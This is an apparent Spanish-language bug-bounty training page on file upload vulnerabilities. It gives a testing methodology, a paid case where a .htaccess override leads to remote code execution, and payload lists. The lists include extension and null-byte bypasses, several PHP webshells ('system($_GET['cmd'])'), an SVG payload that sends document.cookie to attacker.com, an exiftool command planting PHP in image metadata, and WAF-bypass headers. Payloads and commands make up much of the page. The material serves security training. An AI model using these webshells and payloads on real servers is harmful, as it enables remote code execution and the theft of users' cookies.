Nuevos labs cada semana — Accede a todos desde 5€/mes

File Upload Vulnerabilities

Subida de archivos maliciosos para ejecución de código

Respuesta rápida

¿Qué es File Upload Vulnerabilities?

Las vulnerabilidades de file upload permiten subir archivos maliciosos que el servidor ejecuta (webshells) o que contienen payloads (SVGs con JavaScript, imágenes con código en EXIF).

Severidad

Crítico

Frecuencia

Común

Payloads

13

Pasos

6

Severidad

Crítico

Frecuencia

Común

Payloads

13

File upload es una superficie de ataque amplia: bypass de extensiones, manipulación de Content-Type, polyglot files, .htaccess override, y más. El objetivo final suele ser subir un webshell que permita ejecutar comandos en el servidor.

Ejecución remota de código (RCE)Webshell persistenteXSS vía SVG/HTMLDefacementAcceso a archivos del servidor

Dónde buscar

Avatar / foto de perfil

El vector más común. Prueba SVG, doble extensión, null byte.

Subida de documentos

CVs, facturas, informes. Extensiones permitidas suelen ser más amplias.

Import de archivos

CSV, XML, JSON imports pueden procesar contenido peligroso.

Editores de contenido

Inserciones de imagen en editores WYSIWYG.

Export/Import de config

Funcionalidades de backup/restore que aceptan archivos arbitrarios.

Metodología

1

Subir archivo legítimo

Analiza: dónde se almacena (URL), qué headers devuelve, si se renombra.

2

Probar extensiones

Cambia .jpg → .php, .phtml, .php5, .phar. Prueba doble extensión: shell.php.jpg

3

Manipular Content-Type

Envía PHP con Content-Type: image/jpeg en el request.

4

Null byte

shell.php%00.jpg — algunos parsers truncan en el null byte.

5

Probar SVG

Sube un SVG con <svg onload=alert(1)>. Si se renderiza, tienes XSS.

6

Si todo falla: .htaccess

Sube un .htaccess que redefina qué extensiones se ejecutan como PHP.

Caso real

File Upload bypass vía .htaccess + extensión custom → RCE

$1,500
1

Restricción detectada

La app bloquea .php, .phtml, .phar y todas las extensiones PHP conocidas.

2

Subir .htaccess

Upload de .htaccess con: AddType application/x-httpd-php .l33t — redefine la extensión .l33t como PHP.

3

Subir webshell con extensión custom

Upload de exploit.l33t con contenido: <?php system($_GET['cmd']); ?>

4

Ejecutar comandos

GET /uploads/exploit.l33t?cmd=whoami → responde con el usuario del servidor.

Lección: Si la app permite subir .htaccess, puedes redefinir completamente qué extensiones se ejecutan. Es un bypass total de la blacklist de extensiones.

Payloads

Extensiones PHP alternativas

.phtml  .php5  .phar  .pgif  .shtml  .inc  .phps

Doble extensión

shell.php.jpg  |  shell.php.png  |  shell.phtml.gif

Null byte

shell.php%00.jpg  |  shell.php\x00.jpg

Case variation

shell.pHp  |  shell.PHP5  |  shell.PhAr

SVG XSS

<svg xmlns='http://www.w3.org/2000/svg' onload='alert(document.domain)'/>

Trailing chars

shell.php.  |  shell.php/  |  shell.php%20  |  shell.php......

Payloads avanzados(requiere cuenta)

Webshell mínimo

<?php system($_GET['cmd']);?>

Webshell 1 char

<?=`$_GET[0]`?>

.htaccess override

AddType application/x-httpd-php .l33t

SVG con redirect

<svg onload="window.location='https://attacker.com/'+document.cookie">

Magic bytes bypass

GIF89a\n<?php system($_GET['cmd']); ?>  (prepend GIF magic bytes)

Polyglot JPG/PHP

Imagen JPEG válida con código PHP inyectado en campo EXIF Comment

MIME comma trick

Content-Type: application/json;,text/html  → server=json, browser=html

Contenido exclusivo

Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass

Crear cuenta gratis

Herramientas

exiftool

Inyecta código PHP en metadatos EXIF de una imagen legítima.

exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

Burp Repeater

Manipulación manual de todos los parámetros del upload.

Intercepta upload → modifica filename + Content-Type → reenvía

fuxploider

Automatiza pruebas de bypass de file upload.

python3 fuxploider.py --url https://target.com/upload

WAF Bypass

Doble Content-Disposition

Content-Disposition: form-data; name="file"; filename="safe.jpg"\nContent-Disposition: form-data; name="file"; filename="shell.php"

Boundary confusion

Usar dos boundaries diferentes — WAF parsea con el primero, app con el segundo

Tips

Prueba siempre SVG

Muchos filtros permiten SVG porque es 'imagen'. Un SVG puede ejecutar JavaScript en el navegador.

Revisa dónde se guarda

Si el archivo se sirve desde el mismo dominio con Content-Type incorrecto, puede haber XSS o ejecución.

.htaccess es devastador

Si puedes subir .htaccess, controlas completamente qué se ejecuta en ese directorio.

EXIF como vector

Si la app no limpia metadatos EXIF, puedes inyectar payloads que se ejecutan al procesar la imagen.

Practica File Upload Vulnerabilities con labs reales

Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.